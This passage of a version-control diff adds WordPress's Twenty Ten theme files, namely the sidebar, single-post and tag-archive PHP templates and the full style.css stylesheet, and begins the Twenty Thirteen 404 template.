+					<?php wp_meta(); ?>
+				</ul>
+			</li>
+
+		<?php endif; // end primary widget area ?>
+			</ul>
+		</div><!-- #primary .widget-area -->
+
+<?php
+	// A second sidebar for widgets, just because.
+	if ( is_active_sidebar( 'secondary-widget-area' ) ) : ?>
+
+		<div id="secondary" class="widget-area" role="complementary">
+			<ul class="xoxo">
+				<?php dynamic_sidebar( 'secondary-widget-area' ); ?>
+			</ul>
+		</div><!-- #secondary .widget-area -->
+
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/single.php	(revision 56912)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the post.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-single.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'single' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/style.css	(revision 56912)
@@ -0,0 +1,1439 @@
+/*
+Theme Name: Twenty Ten
+Theme URI: https://wordpress.org/themes/twentyten/
+Description: The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the "Asides" and "Gallery" categories, and has an optional one-column page template that removes the sidebar.
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Version: 2.7
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, two-columns, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style, custom-menu, flexible-header, featured-images, footer-widgets, featured-image-header
+Text Domain: twentyten
+*/
+
+
+/* =Reset default browser CSS. Based on work by Eric Meyer.
+-------------------------------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+	background: transparent;
+	border: 0;
+	margin: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+body {
+	line-height: 1;
+}
+h1, h2, h3, h4, h5, h6 {
+	clear: both;
+	font-weight: normal;
+}
+ol, ul {
+	list-style: none;
+}
+blockquote {
+	quotes: none;
+}
+blockquote:before, blockquote:after {
+	content: '';
+	content: none;
+}
+del {
+	text-decoration: line-through;
+}
+/* tables still need 'cellspacing="0"' in the markup */
+table {
+	border-collapse: collapse;
+	border-spacing: 0;
+}
+a img {
+	border: none;
+}
+
+/* =Layout
+-------------------------------------------------------------- */
+
+/*
+LAYOUT: Two columns
+DESCRIPTION: Two-column fixed layout with one sidebar right of content
+*/
+
+#container {
+	float: left;
+	margin: 0 -240px 0 0;
+	width: 100%;
+}
+#content {
+	margin: 0 280px 0 20px;
+}
+#primary,
+#secondary {
+	float: right;
+	overflow: hidden;
+	width: 220px;
+}
+#secondary {
+	clear: right;
+}
+#footer {
+	clear: both;
+	width: 100%;
+}
+
+/*
+LAYOUT: One column, no sidebar
+DESCRIPTION: One centered column with no sidebar
+*/
+
+.one-column #content {
+	margin: 0 auto;
+	width: 640px;
+}
+
+/*
+LAYOUT: Full width, no sidebar
+DESCRIPTION: Full width content with no sidebar; used for attachment pages
+*/
+
+.single-attachment #content {
+	margin: 0 auto;
+	width: 900px;
+}
+
+
+/* =Fonts
+-------------------------------------------------------------- */
+body,
+input,
+textarea,
+.page-title span,
+.pingback a.url {
+	font-family: Georgia, "Bitstream Charter", serif;
+}
+h3#comments-title,
+h3#reply-title,
+#access .menu,
+#access div.menu ul,
+#cancel-comment-reply-link,
+.form-allowed-tags,
+#site-info,
+#site-title,
+#wp-calendar,
+.comment-meta,
+.comment-body tr th,
+.comment-body thead th,
+.entry-content label,
+.entry-content tr th,
+.entry-content thead th,
+.entry-meta,
+.entry-title,
+.entry-utility,
+#respond label,
+.navigation,
+.page-title,
+.pingback p,
+.reply,
+.widget-title,
+.wp-caption-text {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+input[type="submit"] {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+pre {
+	font-family: "Courier 10 Pitch", Courier, monospace;
+}
+code {
+	font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+
+
+/* =Structure
+-------------------------------------------------------------- */
+
+/* The main theme structure */
+#access .menu-header,
+div.menu,
+#colophon,
+#branding,
+#main,
+#wrapper {
+	margin: 0 auto;
+	width: 940px;
+}
+#wrapper {
+	background: #fff;
+	margin-top: 20px;
+	padding: 0 20px;
+}
+
+/* Structure the footer area */
+#footer-widget-area {
+	overflow: hidden;
+}
+#footer-widget-area .widget-area {
+	float: left;
+	margin-right: 20px;
+	width: 220px;
+}
+#footer-widget-area #fourth {
+	margin-right: 0;
+}
+#site-info {
+	float: left;
+	font-size: 14px;
+	font-weight: bold;
+	width: 700px;
+}
+#site-generator {
+	float: right;
+	width: 220px;
+}
+
+
+/* =Global Elements
+-------------------------------------------------------------- */
+
+/* Main global 'theme' and typographic styles */
+body {
+	background: #f1f1f1;
+}
+body,
+input,
+textarea {
+	color: #666;
+	font-size: 12px;
+	line-height: 18px;
+}
+hr {
+	background-color: #e7e7e7;
+	border: 0;
+	clear: both;
+	height: 1px;
+	margin-bottom: 18px;
+}
+
+/* Text elements */
+p {
+	margin-bottom: 18px;
+}
+ul {
+	list-style: square;
+	margin: 0 0 18px 1.5em;
+}
+ol {
+	list-style: decimal;
+	margin: 0 0 18px 1.5em;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 0 24px 0;
+}
+dt {
+	font-weight: bold;
+}
+dd {
+	margin-bottom: 18px;
+}
+strong {
+	font-weight: bold;
+}
+cite,
+em,
+i {
+	font-style: italic;
+}
+big {
+	font-size: 131.25%;
+}
+ins {
+	background: #ffc;
+	text-decoration: none;
+}
+blockquote {
+	font-style: italic;
+	padding: 0 3em;
+}
+blockquote cite,
+blockquote em,
+blockquote i {
+	font-style: normal;
+}
+pre {
+	background: #f7f7f7;
+	color: #222;
+	line-height: 18px;
+	margin-bottom: 18px;
+	overflow: auto;
+	padding: 1.5em;
+}
+abbr,
+acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+sup,
+sub {
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+small {
+	font-size: smaller;
+}
+input[type="text"],
+input[type="password"],
+input[type="email"],
+input[type="url"],
+input[type="number"],
+textarea {
+	background: #f9f9f9;
+	border: 1px solid #ccc;
+	box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1);
+	-moz-box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1);
+	-webkit-box-shadow: inset 1px 1px 1px rgba(0,0,0,0.1);
+	padding: 2px;
+}
+a:link {
+	color: #0066cc;
+}
+a:visited {
+	color: #743399;
+}
+a:active,
+a:hover {
+	color: #ff4b33;
+}
+
+/* Text meant only for screen readers */
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	overflow: hidden;
+	position: absolute !important;
+	height: 1px;
+	width: 1px;
+}
+
+
+/* =Header
+-------------------------------------------------------------- */
+
+#header {
+	padding: 30px 0 0 0;
+}
+#site-title {
+	float: left;
+	font-size: 30px;
+	line-height: 36px;
+	margin: 0 0 18px 0;
+	width: 700px;
+}
+#site-title a {
+	color: #000;
+	font-weight: bold;
+	text-decoration: none;
+}
+#site-description {
+	clear: right;
+	float: right;
+	font-style: italic;
+	margin: 15px 0 18px 0;
+	width: 220px;
+}
+
+/* This is the custom header image */
+#branding img {
+	border-top: 4px solid #000;
+	border-bottom: 1px solid #000;
+	display: block;
+	float: left;
+}
+
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	background: #000;
+	display: block;
+	float: left;
+	margin: 0 auto;
+	width: 940px;
+}
+#access .menu-header,
+div.menu {
+	font-size: 13px;
+	margin-left: 12px;
+	width: 928px;
+}
+#access .menu-header ul,
+div.menu ul {
+	list-style: none;
+	margin: 0;
+}
+#access .menu-header li,
+div.menu li {
+	float: left;
+	position: relative;
+}
+#access a {
+	color: #aaa;
+	display: block;
+	line-height: 38px;
+	padding: 0 10px;
+	text-decoration: none;
+}
+#access ul ul {
+	box-shadow: 0px 3px 3px rgba(0,0,0,0.2);
+	-moz-box-shadow: 0px 3px 3px rgba(0,0,0,0.2);
+	-webkit-box-shadow: 0px 3px 3px rgba(0,0,0,0.2);
+	display: none;
+	position: absolute;
+	top: 38px;
+	left: 0;
+	float: left;
+	width: 180px;
+	z-index: 99999;
+}
+#access ul ul li {
+	min-width: 180px;
+}
+#access ul ul ul {
+	left: 100%;
+	top: 0;
+}
+#access ul ul a {
+	background: #333;
+	line-height: 1em;
+	padding: 10px;
+	width: 160px;
+	height: auto;
+}
+#access li:hover > a,
+#access ul ul :hover > a {
+	background: #333;
+	color: #fff;
+}
+#access ul li:hover > ul {
+	display: block;
+}
+#access ul li.current_page_item > a,
+#access ul li.current_page_ancestor > a,
+#access ul li.current-menu-ancestor > a,
+#access ul li.current-menu-item > a,
+#access ul li.current-menu-parent > a {
+	color: #fff;
+}
+* html #access ul li.current_page_item a,
+* html #access ul li.current_page_ancestor a,
+* html #access ul li.current-menu-ancestor a,
+* html #access ul li.current-menu-item a,
+* html #access ul li.current-menu-parent a,
+* html #access ul li a:hover {
+	color: #fff;
+}
+
+
+/* =Content
+-------------------------------------------------------------- */
+
+#main {
+	clear: both;
+	overflow: hidden;
+	padding: 40px 0 0 0;
+}
+#content {
+	margin-bottom: 36px;
+}
+#content,
+#content input,
+#content textarea {
+	color: #333;
+	font-size: 16px;
+	line-height: 24px;
+}
+#content p,
+#content ul,
+#content ol,
+#content dd,
+#content pre,
+#content hr {
+	margin-bottom: 24px;
+}
+#content ul ul,
+#content ol ol,
+#content ul ol,
+#content ol ul {
+	margin-bottom: 0;
+}
+#content pre,
+#content kbd,
+#content tt,
+#content var {
+	font-size: 15px;
+	line-height: 21px;
+}
+#content code {
+	font-size: 13px;
+}
+#content dt,
+#content th {
+	color: #000;
+}
+#content h1,
+#content h2,
+#content h3,
+#content h4,
+#content h5,
+#content h6 {
+	color: #000;
+	line-height: 1.5em;
+	margin: 0 0 20px 0;
+}
+#content table {
+	border: 1px solid #e7e7e7;
+	margin: 0 -1px 24px 0;
+	text-align: left;
+	width: 100%;
+}
+#content tr th,
+#content thead th {
+	color: #777;
+	font-size: 12px;
+	font-weight: bold;
+	line-height: 18px;
+	padding: 9px 24px;
+}
+#content tr td {
+	border-top: 1px solid #e7e7e7;
+	padding: 6px 24px;
+}
+#content tr.odd td {
+	background: #f2f7fc;
+}
+.hentry {
+	margin: 0 0 48px 0;
+}
+.home .sticky {
+	background: #f2f7fc;
+	border-top: 4px solid #000;
+	margin-left: -20px;
+	margin-right: -20px;
+	padding: 18px 20px;
+}
+.single .hentry {
+	margin: 0 0 36px 0;
+}
+.page-title {
+	color: #000;
+	font-size: 14px;
+	font-weight: bold;
+	margin: 0 0 36px 0;
+}
+.page-title span {
+	color: #333;
+	font-size: 16px;
+	font-style: italic;
+	font-weight: normal;
+}
+.page-title a:link,
+.page-title a:visited {
+	color: #777;
+	text-decoration: none;
+}
+.page-title a:active,
+.page-title a:hover {
+	color: #ff4b33;
+}
+#content .entry-title {
+	color: #000;
+	font-size: 21px;
+	font-weight: bold;
+	line-height: 1.3em;
+	margin-bottom: 0;
+}
+.entry-title a:link,
+.entry-title a:visited {
+	color: #000;
+	text-decoration: none;
+}
+.entry-title a:active,
+.entry-title a:hover {
+	color: #ff4b33;
+}
+.entry-meta {
+	color: #777;
+	font-size: 12px;
+}
+.entry-meta abbr,
+.entry-utility abbr {
+	border: none;
+}
+.entry-meta abbr:hover,
+.entry-utility abbr:hover {
+	border-bottom: 1px dotted #666;
+}
+.entry-content,
+.entry-summary {
+	clear: both;
+	padding: 12px 0 0 0;
+}
+.entry-content .more-link {
+	white-space: nowrap;
+}
+#content .entry-summary p:last-child {
+	margin-bottom: 12px;
+}
+.entry-content fieldset {
+	border: 1px solid #e7e7e7;
+	margin: 0 0 24px 0;
+	padding: 24px;
+}
+.entry-content fieldset legend {
+	background: #fff;
+	color: #000;
+	font-weight: bold;
+	padding: 0 24px;
+}
+.entry-content input {
+	margin: 0 0 24px 0;
+}
+.entry-content input.file,
+.entry-content input.button {
+	margin-right: 24px;
+}
+.entry-content label {
+	color: #777;
+	font-size: 12px;
+}
+.entry-content select {
+	margin: 0 0 24px 0;
+}
+.entry-content sup,
+.entry-content sub {
+	font-size: 10px;
+}
+.entry-content blockquote.left {
+	float: left;
+	margin-left: 0;
+	margin-right: 24px;
+	text-align: right;
+	width: 33%;
+}
+.entry-content blockquote.right {
+	float: right;
+	margin-left: 24px;
+	margin-right: 0;
+	text-align: left;
+	width: 33%;
+}
+.page-link {
+	clear: both;
+	color: #000;
+	font-weight: bold;
+	line-height: 48px;
+	word-spacing: 0.5em;
+}
+.page-link a:link,
+.page-link a:visited {
+	background: #f1f1f1;
+	color: #333;
+	font-weight: normal;
+	padding: 0.5em 0.75em;
+	text-decoration: none;
+}
+.home .sticky .page-link a {
+	background: #d9e8f7;
+}
+.page-link a:active,
+.page-link a:hover {
+	color: #ff4b33;
+}
+body.page .edit-link {
+	clear: both;
+	display: block;
+}
+#entry-author-info {
+	background: #f2f7fc;
+	border-top: 4px solid #000;
+	clear: both;
+	font-size: 14px;
+	line-height: 20px;
+	margin: 24px 0;
+	overflow: hidden;
+	padding: 18px 20px;
+}
+#entry-author-info #author-avatar {
+	background: #fff;
+	border: 1px solid #e7e7e7;
+	float: left;
+	height: 60px;
+	margin: 0 -104px 0 0;
+	padding: 11px;
+}
+#entry-author-info #author-description {
+	float: left;
+	margin: 0 0 0 104px;
+}
+#entry-author-info h2 {
+	color: #000;
+	font-size: 100%;
+	font-weight: bold;
+	margin-bottom: 0;
+}
+.entry-utility {
+	clear: both;
+	color: #777;
+	font-size: 12px;
+	line-height: 18px;
+}
+.entry-meta a,
+.entry-utility a {
+	color: #777;
+}
+.entry-meta a:hover,
+.entry-utility a:hover {
+	color: #ff4b33;
+}
+#content .video-player {
+	padding: 0;
+}
+.format-standard .wp-video,
+.format-standard .wp-audio-shortcode,
+.format-audio .wp-audio-shortcode,
+.format-standard .video-player {
+	margin-bottom: 24px;
+}
+
+/* =Asides
+-------------------------------------------------------------- */
+
+.home #content .format-aside p,
+.home #content .category-asides p {
+	font-size: 14px;
+	line-height: 20px;
+	margin-bottom: 10px;
+	margin-top: 0;
+}
+.home .hentry.format-aside,
+.home .hentry.category-asides {
+	padding: 0;
+}
+.home #content .format-aside .entry-content,
+.home #content .category-asides .entry-content {
+	padding-top: 0;
+}
+
+
+/* =Gallery listing
+-------------------------------------------------------------- */
+
+.format-gallery .size-thumbnail img,
+.category-gallery .size-thumbnail img {
+	border: 10px solid #f1f1f1;
+	margin-bottom: 0;
+}
+.format-gallery .gallery-thumb,
+.category-gallery .gallery-thumb {
+	float: left;
+	margin-right: 20px;
+	margin-top: -4px;
+}
+.home #content .format-gallery .entry-utility,
+.home #content .category-gallery .entry-utility {
+	padding-top: 4px;
+}
+
+
+/* =Attachment pages
+-------------------------------------------------------------- */
+
+.attachment .entry-content .entry-caption {
+	font-size: 140%;
+	margin-top: 24px;
+}
+.attachment .entry-content .nav-previous a:before {
+	content: '\2190\00a0';
+}
+.attachment .entry-content .nav-next a:after {
+	content: '\00a0\2192';
+}
+
+
+/* =Images
+-------------------------------------------------------------- */
+
+/*
+Resize images to fit the main content area.
+- Applies only to images uploaded via WordPress by targeting size-* classes.
+- Other images will be left alone. Use "size-auto" class to apply to other images.
+*/
+img.size-auto,
+img.size-full,
+img.size-large,
+img.size-medium,
+.attachment img,
+.widget-container img {
+	max-width: 100%; /* When images are too wide for containing element, force them to fit. */
+	height: auto; /* Override height to match resized width for correct aspect ratio. */
+}
+.alignleft,
+img.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 24px;
+	margin-top: 4px;
+}
+.alignright,
+img.alignright {
+	display: inline;
+	float: right;
+	margin-left: 24px;
+	margin-top: 4px;
+}
+.aligncenter,
+img.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 12px;
+}
+.wp-caption {
+	background: #f1f1f1;
+	line-height: 18px;
+	margin-bottom: 20px;
+	max-width: 632px !important; /* prevent too-wide images from breaking layout */
+	padding: 4px;
+	text-align: center;
+}
+.widget-container .wp-caption {
+	max-width: 100% !important;
+}
+.wp-caption img {
+	margin: 5px 5px 0;
+	max-width: 622px; /* caption width - 10px */
+}
+.wp-caption p.wp-caption-text {
+	color: #777;
+	font-size: 12px;
+	margin: 5px;
+}
+.wp-smiley {
+	margin: 0;
+}
+.gallery {
+	margin: 0 auto 18px;
+}
+.gallery .gallery-item {
+	float: left;
+	margin-top: 0;
+	text-align: center;
+	width: 33%;
+}
+.gallery-columns-2 .gallery-item {
+	width: 50%;
+}
+.gallery-columns-4 .gallery-item {
+	width: 25%;
+}
+.gallery img {
+	border: 2px solid #cfcfcf;
+}
+.gallery-columns-2 .attachment-medium {
+	max-width: 92%;
+	height: auto;
+}
+.gallery-columns-4 .attachment-thumbnail {
+	max-width: 84%;
+	height: auto;
+}
+.gallery .gallery-caption {
+	color: #777;
+	font-size: 12px;
+	margin: 0 0 12px;
+}
+.gallery dl {
+	margin: 0;
+}
+.gallery img {
+	border: 10px solid #f1f1f1;
+}
+.gallery br+br {
+	display: none;
+}
+#content .attachment img {/* single attachment images should be centered */
+	display: block;
+	margin: 0 auto;
+}
+
+
+/* =Navigation
+-------------------------------------------------------------- */
+
+.navigation {
+	color: #777;
+	font-size: 12px;
+	line-height: 18px;
+	overflow: hidden;
+}
+.navigation a:link,
+.navigation a:visited {
+	color: #777;
+	text-decoration: none;
+}
+.navigation a:active,
+.navigation a:hover {
+	color: #ff4b33;
+}
+.nav-previous {
+	float: left;
+	width: 50%;
+}
+.nav-next {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+#nav-above {
+	margin: 0 0 18px 0;
+}
+#nav-above {
+	display: none;
+}
+.paged #nav-above,
+.single #nav-above {
+	display: block;
+}
+#nav-below {
+	margin: -18px 0 0 0;
+}
+
+
+/* =Comments
+-------------------------------------------------------------- */
+#comments {
+	clear: both;
+}
+#comments .navigation {
+	padding: 0 0 18px 0;
+}
+h3#comments-title,
+h3#reply-title {
+	color: #000;
+	font-size: 20px;
+	font-weight: bold;
+	margin-bottom: 0;
+}
+h3#comments-title {
+	padding: 24px 0;
+}
+.commentlist {
+	list-style: none;
+	margin: 0;
+}
+.commentlist li.comment {
+	border-bottom: 1px solid #e7e7e7;
+	line-height: 24px;
+	margin: 0 0 24px 0;
+	padding: 0 0 0 56px;
+	position: relative;
+}
+.commentlist li:last-child {
+	border-bottom: none;
+	margin-bottom: 0;
+}
+#comments .comment-body ul,
+#comments .comment-body ol {
+	margin-bottom: 18px;
+}
+#comments .comment-body p:last-child {
+	margin-bottom: 6px;
+}
+#comments .comment-body blockquote p:last-child {
+	margin-bottom: 24px;
+}
+.commentlist ol {
+	list-style: decimal;
+}
+.commentlist .avatar {
+	position: absolute;
+	top: 4px;
+	left: 0;
+}
+.comment-author {
+}
+.comment-author cite {
+	color: #000;
+	font-style: normal;
+	font-weight: bold;
+}
+.comment-author .says {
+	font-style: italic;
+}
+.comment-meta {
+	font-size: 12px;
+	margin: 0 0 18px 0;
+}
+.comment-meta a:link,
+.comment-meta a:visited {
+	color: #777;
+	text-decoration: none;
+}
+.comment-meta a:active,
+.comment-meta a:hover {
+	color: #ff4b33;
+}
+.commentlist .even {
+}
+.commentlist .bypostauthor {
+}
+.reply {
+	font-size: 12px;
+	padding: 0 0 24px 0;
+}
+.reply a,
+a.comment-edit-link {
+	color: #777;
+}
+.reply a:hover,
+a.comment-edit-link:hover {
+	color: #ff4b33;
+}
+.commentlist .children {
+	list-style: none;
+	margin: 0;
+}
+.commentlist .children li {
+	border: none;
+	margin: 0;
+}
+.nopassword,
+.nocomments {
+	display: none;
+}
+#comments .pingback {
+	border-bottom: 1px solid #e7e7e7;
+	margin-bottom: 18px;
+	padding-bottom: 18px;
+}
+.commentlist li.comment+li.pingback {
+	margin-top: -6px;
+}
+#comments .pingback p {
+	color: #777;
+	display: block;
+	font-size: 12px;
+	line-height: 18px;
+	margin: 0;
+}
+#comments .pingback .url {
+	font-size: 13px;
+	font-style: italic;
+}
+
+/* Comments form */
+input[type="submit"] {
+	color: #333;
+}
+#respond {
+	border-top: 1px solid #e7e7e7;
+	margin: 24px 0;
+	overflow: hidden;
+	position: relative;
+}
+#respond p {
+	margin: 0;
+}
+#respond .comment-notes {
+	margin-bottom: 1em;
+}
+.form-allowed-tags {
+	line-height: 1em;
+}
+.children #respond {
+	margin: 0 48px 0 0;
+}
+h3#reply-title {
+	margin: 18px 0;
+}
+#comments-list #respond {
+	margin: 0 0 18px 0;
+}
+#comments-list ul #respond {
+	margin: 0;
+}
+#cancel-comment-reply-link {
+	font-size: 12px;
+	font-weight: normal;
+	line-height: 18px;
+}
+#respond .required {
+	color: #ff4b33;
+	font-weight: bold;
+}
+#respond label {
+	color: #777;
+	font-size: 12px;
+}
+#respond input {
+	margin: 0 0 9px;
+	width: 98%;
+}
+#respond textarea {
+	width: 98%;
+}
+#respond .form-allowed-tags {
+	color: #777;
+	font-size: 12px;
+	line-height: 18px;
+}
+#respond .form-allowed-tags code {
+	font-size: 11px;
+}
+#respond .form-submit {
+	margin: 12px 0;
+}
+#respond .form-submit input {
+	font-size: 14px;
+	width: auto;
+}
+#respond #wp-comment-cookies-consent {
+	width: auto;
+	margin: 0 10px 0 0;
+}
+
+
+/* =Widget Areas
+-------------------------------------------------------------- */
+
+.widget-area ul {
+	list-style: none;
+	margin-left: 0;
+}
+.widget-area ul ul {
+	list-style: square;
+	margin-left: 1.3em;
+}
+.widget-area select {
+	max-width: 100%;
+}
+.widget_search #s {/* This keeps the search inputs in line */
+	width: 60%;
+}
+.widget_search label {
+	display: none;
+}
+.widget-container {
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+	margin: 0 0 18px 0;
+}
+.widget-container .wp-caption img {
+	margin: auto;
+}
+.widget-title {
+	color: #222;
+	font-weight: bold;
+}
+.widget-area a:link,
+.widget-area a:visited {
+	text-decoration: none;
+}
+.widget-area a:active,
+.widget-area a:hover {
+	text-decoration: underline;
+}
+.widget-area .entry-meta {
+	font-size: 11px;
+}
+#wp_tag_cloud div {
+	line-height: 1.6em;
+}
+#wp-calendar {
+	width: 100%;
+}
+#wp-calendar caption {
+	color: #222;
+	font-size: 14px;
+	font-weight: bold;
+	padding-bottom: 4px;
+	text-align: left;
+}
+#wp-calendar thead {
+	font-size: 11px;
+}
+#wp-calendar thead th {
+}
+#wp-calendar tbody {
+	color: #aaa;
+}
+#wp-calendar tbody td {
+	background: #f5f5f5;
+	border: 1px solid #fff;
+	padding: 3px 0 2px;
+	text-align: center;
+}
+#wp-calendar tbody .pad {
+	background: none;
+}
+#wp-calendar tfoot #next {
+	text-align: right;
+}
+.widget_rss a.rsswidget {
+	color: #000;
+}
+.widget_rss a.rsswidget:hover {
+	color: #ff4b33;
+}
+.widget_rss .widget-title img {
+	width: 11px;
+	height: 11px;
+}
+.widget_text ul,
+.widget_text ol {
+	margin-bottom: 1.5em;
+}
+.widget_text ol {
+	margin-left: 1.3em;
+}
+.widget_text ul ul,
+.widget_text ol ol,
+.widget_text ul ol,
+.widget_text ol ul {
+	margin-bottom: 0;
+}
+.widget_media_video video {
+	max-width: 100%;
+}
+.tagcloud ul {
+	list-style-type: none;
+	margin-left: 0 !important;
+}
+.tagcloud ul li {
+	display: inline-block;
+}
+
+/* Helps galleries in widget areas look presentable in most cases. */
+.widget-area .gallery-columns-2 img,
+.widget-area .gallery-columns-3 img,
+.widget-area .gallery-columns-4 img,
+.widget-area .gallery-columns-5 img,
+.widget-area .gallery-columns-6 img,
+.widget-area .gallery-columns-7 img,
+.widget-area .gallery-columns-8 img,
+.widget-area .gallery-columns-9 img {
+	border: none;
+	max-width: 90%;
+	width: auto;
+}
+
+/* Main sidebars */
+#main .widget-area ul {
+	margin-left: 0;
+	padding: 0 20px 0 0;
+}
+#main .widget-area ul ul {
+	border: none;
+	margin-left: 1.3em;
+	padding: 0;
+}
+#primary {
+}
+#secondary {
+}
+
+/* Footer widget areas */
+#footer-widget-area {
+}
+
+
+/* =Footer
+-------------------------------------------------------------- */
+
+#footer {
+	margin-bottom: 20px;
+}
+#colophon {
+	border-top: 4px solid #000;
+	margin-top: -4px;
+	overflow: hidden;
+	padding: 18px 0;
+}
+#site-info {
+	font-weight: bold;
+}
+#site-info a {
+	color: #000;
+	text-decoration: none;
+}
+#site-generator {
+	font-style: italic;
+	position: relative;
+}
+#site-generator a {
+	background: url(images/wordpress.png) center left no-repeat;
+	color: #666;
+	display: inline-block;
+	line-height: 16px;
+	padding-left: 20px;
+	text-decoration: none;
+}
+#site-generator a:hover {
+	text-decoration: underline;
+}
+img#wpstats {
+	display: block;
+	margin: 0 auto 10px;
+}
+#site-info span[role=separator] {
+	padding: 0 0.6em 0 0.3em;
+}
+#site-info span[role=separator]::before {
+	content: '\007c';
+}
+
+
+/* =Mobile Safari ( iPad, iPhone and iPod Touch )
+-------------------------------------------------------------- */
+
+pre {
+	-webkit-text-size-adjust: 140%;
+}
+code {
+	-webkit-text-size-adjust: 160%;
+}
+#access,
+.entry-meta,
+.entry-utility,
+.navigation,
+.widget-area {
+	-webkit-text-size-adjust: 120%;
+}
+#site-description {
+	-webkit-text-size-adjust: none;
+}
+
+
+/* =Print Style
+-------------------------------------------------------------- */
+
+@media print {
+	body {
+		background: none !important;
+	}
+	#wrapper {
+		clear: both !important;
+		display: block !important;
+		float: none !important;
+		position: relative !important;
+	}
+	#header {
+		border-bottom: 2pt solid #000;
+		padding-bottom: 18pt;
+	}
+	#colophon {
+		border-top: 2pt solid #000;
+	}
+	#site-title,
+	#site-description {
+		float: none;
+		line-height: 1.4em;
+		margin: 0;
+		padding: 0;
+	}
+	#site-title {
+		font-size: 13pt;
+	}
+	.entry-content {
+		font-size: 14pt;
+		line-height: 1.6em;
+	}
+	.entry-title {
+		font-size: 21pt;
+	}
+	#access,
+	#branding img,
+	#respond,
+	.comment-edit-link,
+	.edit-link,
+	.navigation,
+	.page-link,
+	.widget-area {
+		display: none !important;
+	}
+	#container,
+	#header,
+	#footer {
+		margin: 0;
+		width: 100%;
+	}
+	#content,
+	.one-column #content {
+		margin: 24pt 0 0;
+		width: 100%;
+	}
+	.wp-caption p {
+		font-size: 11pt;
+	}
+	#site-info,
+	#site-generator {
+		float: none;
+		width: auto;
+	}
+	#colophon {
+		width: auto;
+	}
+	img#wpstats {
+		display: none;
+	}
+	#site-generator a {
+		margin: 0;
+		padding: 0;
+	}
+	#entry-author-info {
+		border: 1px solid #e7e7e7;
+	}
+	#main {
+		display: inline;
+	}
+	.home .sticky {
+		border: none;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyten/tag.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/tag.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/tag.php	(revision 56912)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Template for displaying Tag Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+				<h1 class="page-title"><?php
+					printf( __( 'Tag Archives: %s', 'twentyten' ), '<span>' . single_tag_title( '', false ) . '</span>' );
+				?></h1>
+
+<?php
+/*
+ * Run the loop for the tag archive to output the posts
+ * If you want to overload this in a child theme then include a file
+ * called loop-tag.php and that will be used instead.
+ */
+get_template_part( 'loop', 'tag' );
+?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/404.php	(revision 56912)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
